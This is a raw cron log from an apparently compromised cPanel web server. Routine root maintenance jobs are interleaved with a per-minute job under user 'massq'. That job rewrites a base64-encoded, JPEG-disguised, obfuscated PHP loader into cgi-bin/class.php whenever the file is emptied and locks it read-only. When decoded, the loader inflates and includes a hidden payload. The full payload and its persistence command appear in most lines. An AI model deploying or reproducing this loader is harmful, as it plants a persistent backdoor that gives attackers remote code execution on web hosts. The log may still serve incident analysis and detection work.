Nov 12 02:20:01 server CROND[15858]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:20:01 server CROND[15857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:20:02 server CROND[15860]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 02:21:01 server CROND[16823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:22:01 server CROND[17694]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:23:01 server CROND[18529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:24:01 server CROND[19355]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:25:01 server CROND[20198]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:25:01 server CROND[20199]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:25:01 server CROND[20200]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:25:01 server CROND[20202]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:26:01 server CROND[21215]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:27:01 server CROND[22038]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 02:27:01 server CROND[22039]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:28:01 server CROND[22759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:29:01 server CROND[23358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:30:01 server CROND[24253]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:30:01 server CROND[24254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:30:01 server CROND[24257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:30:01 server CROND[24272]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 02:31:01 server CROND[24608]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:32:01 server CROND[25515]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
